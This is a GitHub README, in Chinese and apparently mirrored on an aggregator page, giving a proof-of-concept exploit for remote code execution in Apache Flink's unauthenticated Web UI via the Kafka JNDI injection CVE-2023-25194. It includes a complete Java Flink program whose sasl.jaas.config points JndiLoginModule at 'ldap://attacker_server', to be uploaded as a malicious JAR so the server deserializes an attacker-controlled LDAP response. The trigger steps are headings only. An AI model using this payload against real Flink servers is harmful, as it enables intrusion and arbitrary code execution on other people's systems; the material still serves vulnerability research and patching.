Veraxy00 / Flink-Kafka-Vul

Apache Flink代码执行漏洞。在Apache Flink中利用Apache Kafka JNDI注入(CVE-2023-25194)漏洞实现代码执行。

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Flink-Kafka-Vul

Apache Flink远程代码执行漏洞。

Apache Flink Web UI 默认没有用户权限认证,攻击者可以直接上传恶意Jar包,通过指定Kafka数据源连接属性,利用Apache Kafka JNDI注入(CVE-2023-25194)漏洞[1]攻击Flink,最终实现远程代码执行。

[1] https://kafka.apache.org/cve-list#CVE-2023-25194

利用

编写不安全的Flink程序

指定Kafka连接参数,其中sasl.jaas.config属性设置为"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";,服务器将连接到攻击者的 LDAP 服务器并反序列化 LDAP 响应。

// 设置执行环境
final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
// 配置 Kafka 连接属性
Properties properties = new Properties();
properties.setProperty("bootstrap.servers", "192.168.25.147:9092");
properties.setProperty("group.id", "flink-kafka-demo");
properties.setProperty("security.protocol", "SASL_PLAINTEXT");
properties.setProperty("sasl.mechanism", "PLAIN");
properties.setProperty("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://attacker_server\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";");


FlinkKafkaConsumer<String> consumer = new FlinkKafkaConsumer("quickstart-events", new SimpleStringSchema(), properties);

// 从 Kafka 中读取数据
env.addSource(consumer).print();

// 执行程序
env.execute("Flink Kafka Demo");

触发漏洞

自行将Flink程序打包为Jar:

在Apache Flink Dashboard上传恶意Jar,并提交任务:

攻击者服务器:

DNSlog服务器:

About

Apache Flink代码执行漏洞。在Apache Flink中利用Apache Kafka JNDI注入(CVE-2023-25194)漏洞实现代码执行。


Languages

Language:Java 100.0%